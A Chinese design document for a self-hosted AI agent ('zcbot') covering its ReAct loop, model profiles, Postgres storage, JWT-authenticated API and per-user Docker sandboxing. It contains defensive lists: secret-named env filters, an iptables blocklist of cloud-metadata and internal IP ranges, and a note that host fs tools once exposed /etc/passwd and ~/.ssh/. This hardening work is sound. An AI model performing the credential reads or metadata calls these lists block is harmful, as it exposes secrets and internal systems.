# 设计文档

> 本地运行的个人任务 agent,覆盖三类工作:汇报 PPT、科研申报书、代码。
> 模型自由(LiteLLM 接 OpenAI-compatible),代码可控(目标 1500-2000 行 Python)。

---

## 1. 边界

**做**:PPT(`python-pptx`)/ 申报书(`python-docx`)/ 编码(读写文件 + shell + 迭代验证)。
**不做**:子 agent / IM 渠道 / 自定义 RAG / 锁定 Anthropic / Eval Suite(个人工具 dogfooding 替代)。多用户 / Web UI 归 §7。

**关键约束**:
- 模型自由:LiteLLM + OpenAI-compatible(默认 DeepSeek V4)
- 任务持久化:任意时刻关机,下次能恢复
- 演化性:模型升级不需要大改架构
- **形态兼容**:本地与 SaaS 共享同一份 core / storage(PG)/ web `/v1` API,无 CLI REPL / 本地 in-process 分叉(2026-05-18 撤,详 §7.9)

---

## 2. 架构

```
zcbot/
├── core/
│   ├── capabilities.py     # ModelCapabilities,从 yaml 加载
│   ├── llm.py              # LiteLLM 封装,按 capabilities 自动启 features
│   ├── loop.py             # ReAct 主循环 + cancel_check 协作式 cancel
│   ├── probe.py            # 真实探测对账 yaml 声称的能力
│   ├── session.py          # 消息列表 + meta + 落 PG
│   ├── skills.py           # SkillRegistry(Anthropic 渐进披露)
│   ├── task.py             # TaskState
│   ├── memory.py           # per-user .memory/ 双层记忆
│   ├── paths.py            # task_dir db form 归一(to_db_path / from_db_path)
│   ├── storage/{engine,models,utils}.py  # SQLAlchemy 2.x ORM
│   └── agent_builder.py    # 装配 lib:build_agent / system prompt / validate_task_name
├── tools/
│   ├── base.py             # Tool 基类 + _resolve
│   ├── fs.py               # read / write / edit (唯一匹配) / glob / grep
│   ├── shell.py            # subprocess + 黑名单
│   ├── run_python.py       # tmp .py + subprocess + 敏感 env 过滤
│   └── skill_tool.py       # load_skill
├── skills/{coding,ppt,proposal}/   # SKILL.md + references / scripts / assets
├── prompts/system/general_v1.md
├── config/{agent.yaml, models/*.yaml}
├── workspace/users/<user_id>/
│   ├── .memory/{core.md, extended/*.md}   # 跨 task 共享记忆,dotfile 隔离
│   └── <working_dir>/                      # 工作目录,用户起名(同 working_dir 多 task 共享)
├── web/{app.py, auth.py, broker.py, sinks.py, static/dev.html}
├── db/migrations/                          # alembic
└── main.py                                 # 入口:web / db / probe / user 四子命令
```

**工作目录(working_dir) = `workspace/users/<user_id>/<working_dir>/`,所有 skill 产物写到这里**,绝对路径在 system prompt 显式给 agent。写错位置(cwd / `skills/` / repo 根)git status 立刻报红。`user_id` 走 JWT `sub`:邮箱密码登录由 users 表 email lookup 直读,platform 登录由 platform 直传;**无 SENTINEL fallback,所有路径必须显式有 user_id**。**`name`(任务显示名)必填**,**`working_dir` 可选**(留空 → 用 name 作目录名);两者都是简单名(不含 `/\..`、不以 `.` 起头,挡 `.memory`);同 `working_dir` 多 task 自动共享同目录(§7.1)。SaaS 化只是把 `workspace/` 换 `<storage_root>/`,布局不变。

**启动**:`python main.py web` → uvicorn 起 FastAPI → lifespan 跑 stale-run reaper → 客户端走 `/v1/auth/login_password`(邮箱密码)或 `/v1/auth/login`(platform_key)换 JWT → `POST /v1/tasks/{id}/messages` 起 BG 线程,内部 `build_agent` 读 `agent.yaml` → 加载 `ModelCapabilities` → `LLM(caps)` → 拼 system prompt(general_v1.md + skill discovery + cwd + working_dir 绝对路径)→ 装配工具 → `AgentLoop.run`。`ZCBOT_DB_URL` 指 PG。

---

## 3. 核心组件

### 3.1 主循环(`core/loop.py`)
ReAct:LLM → 若有 tool_calls 就执行 → 结果塞回消息 → 再调 LLM。无 tool_call 即返回。
- 工具结果对模型截 16K 字符,用户预览 400 字符
- 事件通过 `sink.emit` 流式发布(§7 A,SSE 桥);content delta 在 stream chunk 到达即时 emit `text` 事件,前端打字机渲染
- **LLM 调用走 `LLM.chat_stream`(litellm `stream=True`)**:chunks 攒齐后用 `litellm.stream_chunk_builder` 拼回完整 response 给 tool_calls 解析 + usage 记账;`stream_options.include_usage=True` 让最后一个 chunk 带 usage
- `cancel_check: Optional[Callable[[], bool]]` 协作式 cancel,每轮 LLM 前 + **stream chunk 之间** + tool_calls 之间 poll;chunk 间 poll 让 cancel 延迟从「整轮 generation 时长」(几十秒)降到「单 chunk 间隔」(~100ms);中途 cancel 时已收 chunk 丢弃,assistant 半截内容不入库(resume 上下文干净);命中给未执行 tool_call 补 `[cancelled by user]` 保 LiteLLM 协议
- `max_iterations` 从 capabilities 读

### 3.2 Model Profile(`core/capabilities.py` + `config/models/*.yaml`)
每模型一份 yaml,agent 行为按档案动态调整。新模型 5 分钟接入,不改代码。
字段:max/reliable_context、max_output、parallel_tools、tool_calling_quality、thinking_mode、reasoning_effort_levels、code_quality、enable_run_python、max_iterations、optimal_temperature、prompt_caching、extended_thinking、api_base、api_key_env。
`LLM.chat` 按 capabilities 自动启 `parallel_tool_calls` / `reasoning_effort` / Anthropic prompt-caching header。

### 3.3 Capability Probing(`core/probe.py` + `main.py probe`)
yaml 是手填的,probe 用真实调用对账:`basic_chat` / `parallel_tools` / `thinking_mode` / `long_context`(opt-in)。不改 yaml,只出 rich Table 报告。**显式触发,不进启动路径**(避免烧 API)。

### 3.4 工具系统(Hybrid 范式)
**JSON tool call**(`tools/`):read / write / edit / glob / grep / shell / run_python / load_skill — 离散操作。
**Code execution**(`run_python`):tmp `.py` + subprocess + 工作目录限制 + 敏感 env 过滤(`*API_KEY *TOKEN *SECRET *PASSWORD *PRIVATE_KEY`)— 批处理 / 算数据 / 生成文档。
关键设计:`edit` **唯一匹配**(CoreCoder 风格,old_str 重复即报错);工具按**原子操作**切分,不做 `make_pptx()` 这种高级封装。

### 3.5 Skill 系统(Anthropic 渐进披露)
对齐 Anthropic 2025-12 开放标准。三层加载:Discovery(`name + description`,几百 token)→ Activation(`load_skill(name)` 加载完整 SKILL.md,1-5K)→ Execution(SKILL.md 指 `references/xxx` 按需拉)。
原则:写 WHY+WHAT,不写 Step 1/2/3。description 决定模型能否触发。

### 3.6 Session 与 Task

**Session**(`core/session.py`)= 消息列表 + meta,**直接 ORM 写 PG `messages` 表**(append-only,`jsonb` 存 LiteLLM 原样 payload)。
**Task**(`core/task.py`)= Session 上层,含 name / working_dir / skill / description / status / model / reasoning_effort / 时间戳 / tokens。**直接 ORM 写 PG `tasks` 表**。working_dir FS 目录只存 skill 产物,无 `state.json` / `messages.json`。本地 + SaaS **同一份 schema 和 ORM**,差别只在 `ZCBOT_DB_URL`。

**字段三件套语义**:
- `name`(NOT NULL) = 任务显示名,UI 列表 / 标题 / docx 导出文件名用;独立于工作目录
- `working_dir` = 工作目录(相对 ROOT posix 串),同 working_dir 多 task 共享同物理目录
- `skill` = 智能体类型标签(coding / ppt / proposal / ...自由形式,后续可对齐 `skills/` 注册表强校验)

**创建语义** — working_dir 目录在 task 创建入口立即 `mkdir(parents=True, exist_ok=True)`(`name` 必填代表"显式声明项目";`working_dir` 留空 → fallback 用 name 作目录名)。`Task` 行在 web `POST /v1/tasks` 时即写。**Task 切换 / 软删 / 硬删** 走 dev SPA + `/v1/tasks*`(`DELETE /v1/tasks/{id}` 删 DB 行 + messages CASCADE;**FS 一律不动**,同 name 多 task 共享,绝不 rmtree)。原 CLI REPL(`chat / tasks / export`)2026-05-18 撤,详 §7.9。

**原子性** — PG INSERT 天然原子;skill 产物走 `core.session.atomic_write_text`(tmp + fsync + replace)。

### 3.7 双层记忆(`core/memory.py`)

跨 task 共享的事实(用户偏好 / 项目约定 / 模型 quirk)放 `workspace/users/<user_id>/.memory/`(per-user,dotfile 隔离):

| 层 | 文件 | 加载 | 适合 |
|---|---|---|---|
| Core | `core.md` | 每次 build_agent 进 system prompt | 跨任务高频精炼事实(几百 token) |
| Extended | `extended/*.md` | 索引(标题+绝对路径)进 prompt,内容靠 `read` 工具按需拉 | 大量低频专题 |

**system prompt 每次 build_agent 重建**(resume 也是),memory 演化即时生效。memory 由人填(也允许 agent 用 `write` 写),系统不自动维护 — **事实由用户判断,不由 LLM 自动总结**。

**memory 永远在 FS,不入 DB**:本地 `workspace/users/<user_id>/.memory/`,SaaS `<storage_root>/users/<user_id>/.memory/`(bind mount 进容器)。**dotfile `.memory/` 命名**避免项目名取 `memory` 时撞;`validate_task_name` 拒 `.` 起头双向防呆。理由:用户笔记语义,FS 读写 + 编辑器手编是产品的一部分;跨 task 共享靠"同一 user 同一目录"自动达成,无需 schema。

---

## 4. 模型路由

默认 `default_model: deepseek_v4.flash`。分模式路由思路:

| 模式 | 模型 | 理由 |
|---|---|---|
| 通用 / 编码 / PPT / 提案初稿 | flash | SWE-Bench 80.6,够用 |
| 复杂 bug / 提案终稿 | pro + reasoning_effort=max | 关键产出 |
| fallback | claude_4_7.opus | V4 不行时手动切 |

成本量级:

| 任务 | flash | pro-max | Opus 4.7 |
|---|---|---|---|
| 修 bug(~10 轮) | $0.01 | $0.05 | $0.30 |
| 5 页 PPT | $0.05 | $0.20 | $1.50 |
| 完整申报书 | $0.30 | $1.50 | $10-15 |

99% 任务 flash 够用,关键终稿升 Pro。

---

## 5. 设计哲学

### 核心原则:Less Scaffolding, More Trust

老 agent 框架失败的核心:给 LLM 太多脚手架,模型升级后这些脚手架成枷锁。**正确做法**:把 LLM 当一个**会持续变强的同事**,告诉它目标,不告诉它步骤。

### 七条具体原则
1. Prompt 用 WHY+WHAT 不用 HOW — 教"怎么思考"会降智强模型
2. Skill 渐进披露,不写完整流程
3. 工具按原子操作切分,不做高级封装 — 留组合空间
4. Model Profile 化,不硬编码
5. Capability Probing 对账实际行为
6. 版本化 Prompt(等真要切版本时再做)
7. ~~eval 评估~~ — 已删,dogfooding 更有效

### 借鉴
| 来源 | 借鉴 |
|---|---|
| CoreCoder | 主循环简洁实现 + Edit 唯一匹配 |
| Anthropic Skills | SKILL.md 渐进披露 |
| nanobot | Workspace + 任务隔离 |
| smolagents | LiteLLM + CodeAct 启发 run_python |

---

## 6. 风险与取舍

| 风险 | 缓解 |
|---|---|
| run_python sandbox 不够强(本地非真隔离) | 工作目录限制 + 敏感 env 过滤;SaaS 走 docker exec(§7.5);本地依赖用户最终审阅 |
| V4 某些复杂任务不如 Claude | dogfooding 判断,fallback 手动切 |
| Skill description 不准 → 触发不到 | Pro 优化描述,实战观察 |
| Long context 退化 | `probe --long-context` 探测可靠 ceiling |
| 本地 PG 离线 | `docker compose up -d` 起本地 PG 兜底;也可连远端 dev / staging PG |

**Hybrid 范式而非纯 CodeAgent**:V4 JSON tool call 已稳定;sandbox 成本只在需要时付;兼容 thinking。
**Anthropic Skill 标准**:行业标准已成,跨 SDK 兼容。
**不做 subagent**:状态管理爆炸;单 agent + skill 已覆盖 95% 场景。
**不做 Eval Suite**:个人单用户场景,dogfooding 信号比造作 case 强,probe 覆盖健康检查。

---

## 7. SaaS 化(草案,status=design,2026-05-12)

> §1-§6 是**本地 dogfood 形态**;本节是**SaaS 形态**,把 core 包成多用户在线服务。
> 不引入 platform/core 切分 — core 就是后端,直接对用户做 auth。两条形态共享同一份 core,差别只在反代部署。本节落地前 §1-§6 路线照走,不阻塞 dogfood。

### 7.0 与本地形态的兼容性

SaaS 化不是"重写",而是把同一份 web `/v1` 服务部署到云端。

| 维度 | 本地 | SaaS |
|---|---|---|
| 入口 | `python main.py web` 起 FastAPI + dev SPA | uvicorn 部署形态,反代到 platform UI |
| Storage | **PG**(`ZCBOT_DB_URL` 指 docker compose / 远端 dev PG) | **PG**(指生产 PG) |
| working_dir | `workspace/users/<user_id>/<name>/` | `<storage_root>/users/<user_id>/<name>/` |
| Memory | `workspace/users/<user_id>/.memory/` (FS, dotfile) | `<storage_root>/users/<user_id>/.memory/` |
| Sandbox | subprocess + env 过滤 | per-user sandbox container + per-tool exec |
| Auth | 邮箱密码(`users.email/password_hash`,bcrypt)→ JWT;platform_key → JWT(机器对机器) | OIDC → JWT(D' 替换 platform_key 路径;邮箱密码同步下线) |

`workspace/` 仅存 skill 产物,state / messages 全在 PG。本地 vs SaaS 共用 `users/<user_id>/` 子树布局,差别只在外层根目录,不在 storage 形态。

### 7.1 心智模型:Task 一等公民 + Dir 文件副视图

两个并列入口,正交不嵌套:

| 视图 | 入口语义 | 适用场景 | API |
|---|---|---|---|
| **Task list**(主) | "我的对话历史" | 任务驱动:"继续昨天那个 bug fix" | `GET /v1/tasks?status=&working_dir=` |
| **Dir tree**(辅) | "我的文件资产" | 项目驱动:"看汇报项目里所有素材 + 关联对话" | `GET /v1/folders` + `GET /v1/files` |

类比:macOS Finder + 最近使用 / Apple Notes 文件夹视图 + 全部备忘录。两个视图查同一份数据的不同切面,**dir 不是 task 的父容器**。

- **Task** = DB 一行,一等公民,自带 `working_dir` 字段:
  - **新建必给 `name`**(简单名),`working_dir = workspace/users/<user_id>/<name>/`(留空 fallback 用 name)。同 working_dir 多 task 共享 → "同一项目多对话"语义
  - **指定 → 项目化 task**,同 working_dir 多 task 自动共享 `source/` / `sections/` / 终稿(无需建"项目"实体)
- **Dir** = FS 路径,**无 DB 实体,path 即标识**;无父子结构,改名走顶层目录 DB-aware 同事务 cascade(§7.4)
- **No-subtask**:同 working_dir 允许(同项目多对话),前缀嵌套拒
- **Messages** = DB 表,append-only,`jsonb` 存 LiteLLM 原样 payload
- **Skill 产物**全落 working_dir,不引入 artifacts 表;SKILL.md 指示 agent 清中间件
- **Skill 定义**是项目代码,跟部署走,所有用户共享

**空 dir**(用户上传素材但还没开 task)在 dir tree 视图正常展示 — 上传本身是有效产品行为;UI 上跟"有 task 的 dir"做轻量区分(如 task 数 badge)。

state / messages 两形态都在 PG,FS 只承担 skill 产物。多 task 共享同 working_dir 时由 §7.8 文件级悲观锁兜底。

### 7.2 资源模型(/v1)

Task 一等公民;files 与 task 正交(§7.1),走 user-rooted `/v1/files*`,以 `workspace/users/<uid>/` 为边界(不强制选 task)。所有路由统一 `/v1` 前缀,**返 JSON**;前端由 platform 端实现(§7.9 取舍),本地开发用 FastAPI `/docs` Swagger UI 自查。

```
Tasks
  POST   /v1/tasks                  {name(必填), working_dir?, description?, skill?};不合法 → 400
  GET    /v1/tasks?page=&page_size=&status=&skill=&working_dir=&q=&ordering=
                                    分页 1-based;page_size 1–100 clamp;ordering DRF 风格逗号分隔,
                                    `-field` 倒序;allowlist created_at/updated_at/name/status;
                                    **默认 `-created_at`**;返 `{page, page_size, count, results}`
  GET    /v1/tasks/{id}             单 task meta
  PATCH  /v1/tasks/{id}             {status?,description?,name?,skill?};active 不让从 web 切回
  DELETE /v1/tasks/{id}             硬删:DB 行 + messages CASCADE;**FS working_dir 保留**
  GET    /v1/folders                列当前 user 的 working_dir + 关联 task 计数 + 最后使用时间
  GET    /v1/tasks/{id}/messages    历史(后续 ?search= 走 jsonb GIN / tsvector)
  POST   /v1/tasks/{id}/messages    {content} 发消息 + 起 run,返 {events_url}
                                    **单活 run**(0004 简化):tasks.run_status in
                                    ('running','cancelling') → 409;`SELECT … FOR UPDATE`
                                    锁 task 行序列化并发 POST 防 messages.idx race
  GET    /v1/tasks/{id}/events      SSE 流(见下) — 订阅 task 当前活动事件,
                                    单活 run 形态下无歧义,客户端只需 task_id
  POST   /v1/tasks/{id}/cancel      协作式 cancel(202):标 cancelling + 信号 broker;
                                    BG loop 在 stream chunk 间 + 工具调用之间 poll 看见即退;
                                    run_status != running → 409;cancel 延迟 ~ 单 chunk 间隔(100ms 级)

Auth
  POST   /v1/auth/login             {user_id, platform_key} → JWT(platform 机器对机器)
  POST   /v1/auth/login_password    {email, password} → JWT(dev SPA / 同事试用)
                                    bcrypt 校验 users.password_hash(0005 加 UNIQUE(email));
                                    错邮箱 / 错密码 / 未设密码统一 403 防探测
  POST   /v1/auth/change_password   {old_password, new_password} → {ok}(dev SPA 顶栏自助改密)
                                    需 Bearer(user_id 取自 JWT);验旧密码 + 新密码 ≥6 bcrypt 重哈希;
                                    旧密码错 / platform_key 建的无密码行 → 403,弱密码 → 400

Files(user-rooted,workspace/users/<uid>/ 为根)
  GET    /v1/files?path=            列子目录 {entries, crumbs, exists, root, current};
                                    留空 → user_root;dotfile(`.memory/` 等)一律隐藏
  POST   /v1/files/upload           multipart;path 通过 form;严格拒含 / \\ .. 的 filename
  GET    /v1/files/download?path=   下载单文件;`..` / 绝对 / symlink 越界 400
  POST   /v1/files/delete           {path} 文件或空目录;非空目录 400;user_root 拒;
                                    **path 是顶层目录(user_root 直接子项)且被 task 引用 → 409**
  POST   /v1/files/rename           {path, new_name};sibling 已存在 → 409;
                                    **path 是顶层目录** → 同事务 SELECT FOR UPDATE 锁关联 task +
                                    任一 running/cancelling → 409 + check_no_subtask 防嵌套;
                                    DB UPDATE 在 FS rename 之前,FS 失败回滚 DB

Export
  GET    /v1/tasks/{id}/export      docx 临时文件下载,BackgroundTask 删 tmp

Misc
  GET    /healthz                   {"status":"ok"}
  GET    /                          302 → /static/dev.html(本地 dev SPA)
```

**SSE 事件**(`Content-Type: text/event-stream`,响应头带 `X-Accel-Buffering: no` 给 nginx 反代友好;每事件 `event: <type>` + `data: <JSON>`):

```
run_start    {}
llm_start    {}
text         {"delta":"<delta 文本>"}
tool_call    {"name":"...","args":{...},"args_preview":"..."}
tool_result  {"name":"...","preview":"...","truncated":bool}  # 完整 result 走 DB,SSE 只送预览
llm_end      {"prompt_tokens":N,"completion_tokens":N}
cancelled    {}                                                # cancel 命中,后随 done 收流
error        {"msg":"<type>: <detail>"}
done         {}
```

订阅 fan-out:同 run 多订阅者(刷新 / 多 tab / 多设备)每订阅 1 独立 queue。订阅迟到(run 已 done)立刻收 done 不挂。事件不持久化 — messages 走 PG,未来要"刷新继续看流式"再加 event log。

**版本化**:`/v1` minor 半年向后兼容,major 6 个月 deprecation。
**CORS**:本地 dev `allow_origins=["*"]`;部署 platform 时收紧。
**Auth**:Bearer JWT 走所有 `/v1/tasks*`;`/healthz`、`/docs`、`/openapi.json`、`/`、`/v1/auth/login*`、`/static/*` 豁免。

### 7.3 认证

**当前形态(D' 过渡)**:两条 login 路径签**同款 JWT**(HS256,`JWT_SECRET` env 签,默 7d TTL):
- `POST /v1/auth/login {user_id, platform_key}` — platform 服务端机器对机器入口,持 `PLATFORM_KEY` 共享密钥可为任意 user_id 签 token(等同 user 身份由 platform 注入)
- `POST /v1/auth/login_password {email, password}` — dev SPA / 同事试用,`users.email` UNIQUE + bcrypt 校验 `password_hash`;`main.py user add` CLI 发用户
- `POST /v1/auth/change_password {old_password, new_password}` — dev SPA 顶栏自助改密,需 Bearer(user_id 从 JWT 取,不信前端);验旧密码 + bcrypt 重哈希;platform_key 入口建的无密码行不可改(403)

后续 `Authorization: Bearer <jwt>` 走所有 /v1/tasks*,FastAPI `Depends(require_user)` 验签 → 提取 user_id → SELECT/UPDATE 全带 `Task.user_id == user_id` 条件做隔离。`PLATFORM_KEY` / `JWT_SECRET` 任一缺失 → app 启动 fail-fast。

**信任模型**:platform 是单点可信中间层(持 PLATFORM_KEY = 可为任意 user_id 签 token),风险与"platform 服务端泄漏 = 用户身份泄漏"同级,可接受。

**未来形态(真 OIDC)**:Provider 签 ID token,zcbot `/v1/auth/login` 内部从"校验 PLATFORM_KEY"换成"校验 ID token 签名 + 提取 sub" — **路由层 Depends 不动**,Bearer JWT 契约不变;邮箱密码路径同步下线。所有 storage/executor scoped by `user_id`,**无 tenant 层** — 个人 SaaS 用不上,做企业版再加 `org_id` 等价隔离。

### 7.4 存储:Postgres + 本地文件系统

```sql
users(user_id uuid pk, email text null unique, password_hash text null, oidc_subject null, plan null, created_at)
-- email UNIQUE (0005);NULL 不冲突,允许 platform_key 入口 user 共存
-- 入口三条:① main.py user add(bcrypt → password_hash;dev SPA 邮箱密码登录用)
--         ② /v1/auth/login platform_key 路径 ensure_user_row(只填 user_id)
--         ③ 未来 OIDC(替换 login 内部;email/oidc_subject 由 ID token 注入)

tasks(task_id uuid pk, user_id fk, name text not null, working_dir text not null, skill, description,
      status, model_profile, tokens_prompt, tokens_completion, cost_usd,
      run_status text not null default 'idle',  -- idle/running/cancelling/error(0004 合 runs 表)
      run_error text null,
      created_at, updated_at);
create index on tasks (user_id, working_dir);
-- working_dir 存储:相对 ROOT 的 posix 串(workspace/users/<uid>/<name>);写入入口
-- 只接 simple name,越出 ROOT → to_db_path raise(不留 ROOT 外路径)
-- 读写边界统一过 core/paths.py::{to_db_path, from_db_path}
-- 入口校验 validate_task_name():拒空 / 含 /\NUL / `.` 起头 / >255

messages(message_id uuid pk, task_id fk, idx int not null,
         payload jsonb not null, tokens_in, tokens_out,
         model_profile text null,  -- 0006:只在 assistant 行有值,标产生该 msg 的模型
         created_at,
         unique (task_id, idx));
create index on messages using gin (payload jsonb_path_ops);

usage_events(event_id uuid pk, user_id fk, task_id fk on delete cascade,
             message_id fk on delete set null,
             kind text not null,         -- chat / image / video / audio / ...(0006 起只 chat,媒体扩展位)
             model_profile text not null,
             units jsonb not null,       -- chat: {tokens_in, tokens_out};image: {count, size};...
             cost_usd numeric(12,6) not null default 0,
             created_at);
create index on usage_events (user_id, created_at);  -- 用户级聚合走这条,JOIN-free
create index on usage_events (task_id);
create index on usage_events (model_profile, created_at);
```

**0004 简化**:`runs` 表角色等价"task 当前 in-flight 状态",合并到 `tasks.run_status` + `run_error`;`run_id` 单活 run 形态下对客户端 / broker / cancel 全冗余 → 客户端只需 task_id。
**0006 模型切换 + 用量统计**:`tasks.model_profile` 从 0001 起就有,本次开始真用 —— task 创建时 UI 选 / PATCH 切;`build_agent` resume 读它而非 `cfg["default_model"]`(A 粒度:下条 send 才生效,当前 run 不受影响)。`messages.model_profile` 新增,assistant 行落实际用的模型,前端按 model 切换点画小标。`usage_events` 表 0004 删掉的简陋版形态(id/user_id/task_id/run_id/kind/value/ts)字段不够多态,本次重建 v2 形态:per-event 一行,`units` JSONB 装多态用量(token / 张数 / 秒数),`cost_usd` 用 litellm cost map 算;chat 已接入(`core/loop.py` 在 assistant message 入库后调 `record_chat_usage`),媒体工具未来加 image/video kind 不动 schema。**`tasks.tokens_prompt/completion/cost_usd` 三列保留作粗 task 级概览**,继续由 `sync_task_tokens` 维护;`messages.tokens_in/out` 同时双写,查 message 详情不需 JOIN。统计真实 source-of-truth 走 `usage_events`,跨用户 / 跨模型 / 跨时间维度都按 `(user_id, created_at)` 索引直查。
**run_status 终态语义**:`ok` / `cancelled` 收尾回 `idle`(用户视角等价),只有 `error` 持久(让用户能看到),起新 run 时由 `post_message` 清。

**No-subtask 校验**(`create_task`):同 user 下查 `new LIKE existing/%` 或 `existing LIKE new/%`,中一则拒;同 working_dir 允许。两侧先用 `from_db_path` 归一到 absolute posix 再比前缀(混合存储形态不漏判),数量小直接 Python 端比对,不在 SQL 里拼分隔符。

**Folder rename / delete**(`/v1/files/rename` + `/v1/files/delete`):**files API 是目录树唯一 mutation 入口,DB-FS 一致性作服务端不变量内化**(§7.9 架构教训)。顶层目录(user_root 直接子项)走 DB-aware 分支:事务内 `SELECT ... FOR UPDATE` 锁关联 task + 任一 running/cancelling → 409 + `check_no_subtask(exclude=被改名 tids)` 防嵌套;rename UPDATE DB 在 FS rename 之前(FS 失败可回滚);delete 顶层目录有任意 task 引用 → 409 要求先 DELETE 关联 task。

**文件系统**(本地 `<storage_root>` = `workspace/`,SaaS 替换为部署根):
```
<storage_root>/users/<user_id>/
  .memory/{core.md, extended/}     # per-user 记忆,dotfile 隔离,不入 DB
  <name>/                          # 项目目录,name 用户起(必填),working_dir 直接落这
                                   # 同 name 多 task 共享同目录(§7.1)
```

**Storage 实现:单一 PG ORM**(本地 + SaaS 共用):一份 schema、一份 SQLAlchemy、一份查询,无 adapter,无 SQL 方言适配,无契约测试。alembic 管 migration。

### 7.5 沙盒:Per-user 容器 + Per-tool exec

| 选择 | 理由 |
|---|---|
| 每 user 长驻 sandbox container | 文件模型本来以 `<storage_root>/users/<user_id>/` 为安全边界;同 user 多 task / working_dir 共享素材与中间产物,per-user 容器比 per-task 容器更贴合心智模型 |
| 每 tool 调用一次 `docker exec` | exec 级 timeout / cwd / 资源统计;一轮对话内多次 tool call 复用同一容器 |
| 空闲 5 分钟回收 | 对话结束后进入 idle;5 分钟内新对话 / 新 tool call 复用,否则销毁;不浪费也避免频繁 cold start |
| bind mount = user root | `<storage_root>/users/<user_id>/` → `/workspace`;每次 exec 显式 `cwd=/workspace/<working_dir>`;同 user 内不做运行时隔离,跨 user 由独立容器 + 独立 mount 隔离 |

**边界划分**:Control plane 留在宿主后端,Execution plane 进容器。宿主后端负责 auth / JWT / DB 事务 / task-message 状态机 / `/v1/files` 路径校验与上传下载 / SSE broker / LLM 调用 / 受控 `web_search` 与 `web_fetch` / 配额审计。容器只跑不可信执行: `shell`、`run_python`、用户或模型生成脚本、编译器 / 解释器 / 包管理器 / 渲染命令。目标不是"所有操作都进容器",而是"所有不可信代码执行都不能在宿主执行";否则 DB 凭据、JWT secret、对象存储凭据反而更容易被带进执行面。

**硬限制**:cgroup CPU/mem、`pids-limit`、单次 exec timeout、同 user 并发 exec 数、上传大小、root fs read-only、`tmpfs /tmp`、no-new-privileges、drop ALL caps、非 root 用户运行。`run_python` 临时文件落 `/tmp/zcbot/<task_id>/` 或 working_dir 受控临时目录;exec 结束后按进程组清理,避免后台进程常驻。

**软配额**:按 user 计入 DB,超额返回 429 / 402 / 明确错误。配额项包括 workspace 磁盘总量、月度 LLM cost / tokens、tool wall time、文件上传下载流量、网络下载量、running task / exec 并发数。磁盘配额起步用应用层统计(上传 / write / tool 执行前后检查 + 周期扫 user root),后续需要更硬边界再上 filesystem project quota / volume driver。

**网络**:容器默认 deny outbound 更安全;搜索和网页抓取走宿主后端受控工具。确需安装依赖时走受控 PyPI 镜像或 HTTP proxy,并计量下载量;不要让容器自由 `curl` 外网 / 内网 / cloud metadata。
**选型**:起步 Docker;流量起来后视情况换 gVisor / Firecracker / e2b。

**落地清单(Stage C 实施硬协议,与 PROGRESS Stage C DoD 锚定)** — 原则到代码的具化,实施时按此对账,避免靠记忆:

1. **网络 blocklist 硬编码段**(容器 iptables 启动脚本必含,**任一缺失视为 Stage C 未完成**):
   - `169.254.0.0/16`(cloud metadata,AWS/GCP/Azure 通用 SSRF 攻击向量,Capital One 2019 同款)
   - `127.0.0.0/8` / `::1`(loopback,防容器回头打宿主端口)
   - `10.0.0.0/8` / `172.16.0.0/12` / `192.168.0.0/16`(内网三段)
   - `100.64.0.0/10`(CGNAT,云平台常用)
   - **PG 实际 IP 单独再 block 一遍**(belt-and-suspenders,无论它落在哪个段;Docker 用户自定义网络 / VPC peering 等设置会让"段级 block 看似已覆盖"实际能直连)

2. **网络 egress 模型**:容器内 `HTTP_PROXY` / `HTTPS_PROXY` env 强制走宿主侧 proxy + 容器 iptables `DROP outbound except <proxy port>`(防 SDK 不读 env 绕过)。Proxy 跑宿主侧(Squid 或自家 aiohttp),负责:① 域名 allowlist;② 红线段 IP block(同上,proxy 侧也再做一次,defense-in-depth);③ per-user 出网字节计量,纳入 §7.5 软配额(超额 429);④ 审计日志 `network_audit (user_id, task_id, ts, method, host, path, status, bytes_in, bytes_out)`。**Allowlist 初始集**:`*.pypi.org` / `*.pythonhosted.org` / `github.com` / `raw.githubusercontent.com` / `codeload.github.com` / `objects.githubusercontent.com` / `*.npmjs.org` + 部署配置的 PyPI 镜像域名。后续按用户反馈逐步加,优于"全开后某天挖矿事件"。

3. **进程组清理协议**:`docker exec` 命令通过 `setsid` 包一层(`docker exec <c> setsid <cmd>` 或在容器 entrypoint 内封装);timeout / cancel / 正常结束三种路径都走 `kill -- -PGID` 杀整个进程组。**目的**:防 `nohup &` / `disown` / 派生 daemon 在容器内跨 exec 持久化。同 user 不做内隔离 → 残留进程能看到后续 exec 的 in-memory 状态,这是接受的 #1 残留风险,但其前提是没有 stale 进程能跨 exec 存活——这条协议守不住,残留风险就放大成"跨对话持久后门"。

4. **磁盘配额硬化时点**:首版用应用层统计 + 周期扫描(对应 §7.5 软配额);**外部用户开放前必须升级到 xfs project quota 或 ext4 project quota 或 zfs dataset quota**。否则"扫描间隙打满共享 fs"会拖死同节点其他 user(攻击者写满速度远快于扫描周期),且不属于配额超额行为,排查痛苦。

5. **Executor 接口签名 + runtime config 注入**:不在工具调用层 hard-code `docker exec`,通过 backend driver 抽象:
   ```python
   class Executor:
       async def call_tool(self, tool: str, args: dict, ctx: ExecCtx) -> ToolResult: ...
   ```
   Container 创建参数走 config:`ZCBOT_SANDBOX_RUNTIME=runc|runsc|...`(默 `runc`),per-user 容器起的时候 `docker run --runtime=<runtime>`。**理由**:未来切 gVisor / Firecracker / Kata / e2b 时应用层零改动(只换 backend driver + 改 config + 重启容器),避免接口形状泄漏 Docker 假设(`docker exec` / `docker cp` / `docker stats`)导致后期重写。

6. **工具按信任域二分,Executor 内部 dispatch**(2026-05-26 修正,原"host 工具走 paths.py::resolve_user_path 校验"是假命题,代码里没那函数;Ubuntu dogfood 第一次切 docker backend 发现 glob 工具仍列 host repo `.git/.venv/...`,改物理边界替代代码护栏):
   - **Container exec backend**:`shell` / `run_python` / `read` / `write` / `edit` / `glob` / `grep` — 全走 docker exec。shell/run_python 是任意代码必须隔离;fs 工具(read 等 5 个)以前在 host 跑 `base_dir = Path.cwd()` 无 user_root 校验,能读 host 全 fs(`/etc/passwd` / zcbot 源码 / `~/.ssh/`),改进容器后 `user_root=/workspace` 是物理边界。fs 工具调用形态:`docker exec --user zcbot --workdir /workspace/<wd> -i <c> python /sandbox/tool_runner.py <name>` + stdin 喂 JSON args(CJK / 引号 / 路径分隔符透明传,不被 shell metachar 切)。`tool_runner.py` 在镜像里 `/sandbox/`,复用 `tools/fs.py` 的 Tool 子类(`COPY tools/ /sandbox/tools/`);skill references 通过额外的 `<repo>/skills:/sandbox/skills:ro` mount 暴露(只读)。
